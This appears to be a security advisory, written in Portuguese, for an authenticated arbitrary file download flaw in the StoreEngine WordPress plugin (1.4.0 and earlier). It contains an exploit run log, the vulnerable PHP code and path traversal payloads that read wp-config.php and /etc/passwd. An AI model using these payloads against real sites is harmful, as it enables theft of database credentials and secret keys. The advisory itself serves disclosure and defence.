
StoreEngine – Poderoso plugin de eCommerce para WordPress para Pagamentos, Assinaturas, Afiliados, Vendas e Mais <= 1.4.0 - Autenticado (Assinante+) Download Arbitrário de Arquivos
O plugin StoreEngine contém uma vulnerabilidade em seu recurso de Importação/Exportação CSV que permite que qualquer usuário autenticado (assinante, autor, editor, etc.) baixe arquivos arbitrários do servidor, incluindo arquivos sensíveis do sistema, arquivos de configuração do WordPress e código-fonte do plugin. A vulnerabilidade decorre do endpoint storeengine_csv/file_download não possuir sanitização adequada de caminho e depender apenas da verificação de nonce para segurança, enquanto o storeengine_nonce é exposto a TODOS os usuários do frontend por meio do JavaScript do plugin. Nota: Esta vulnerabilidade exige que o addon de Importação/Exportação CSV esteja habilitado por um administrador. Uma vez habilitado, essa combinação permite que qualquer usuário autenticado extraia o nonce das páginas do frontend e o utilize para baixar qualquer arquivo no servidor por meio de ataques de path traversal, concedendo efetivamente a usuários assinantes+ acesso a arquivos sensíveis do sistema e do aplicativo.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
Nota: Esta vulnerabilidade exige que o addon de Importação/Exportação CSV esteja habilitado por um administrador. O endpoint de ativação do addon (storeengine/saved_addon_status) exige a capacidade manage_options, o que significa que apenas administradores podem habilitar essa funcionalidade.
A ação AJAX storeengine_csv/file_download chama a função file_download() na linha 47 de /wp-content/plugins/storeengine/addons/csv/ajax/export.php, que não possui sanitização adequada de caminho e permite downloads arbitrários de arquivos:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE TO PATH TRAVERSAL!
// NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
// NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- READS AND OUTPUTS ANY FILE!
exit;
}
A construção vulnerável do caminho permite path traversal completo:
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
O storeengine_nonce é exposto a TODOS os usuários do frontend por meio do JavaScript do plugin. Isso ocorre no método _get_script_data() na linha 279 de /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
Esse nonce é então localizado para o JavaScript do frontend por meio do método frontend_scripts() na linha 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
O nonce é verificado no método AbstractRequestHandler::check_permission() na linha 510 de /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Essa combinação permite que qualquer usuário autenticado contorne a proteção CSRF e baixe qualquer arquivo no servidor, incluindo arquivos de configuração sensíveis, código-fonte e potencialmente arquivos de sistema.
/wp-admin/admin-ajax.php chamando a ação storeengine_csv/file_download.filename=../../../../wp-config.php para baixar o arquivo de configuração do WordPress.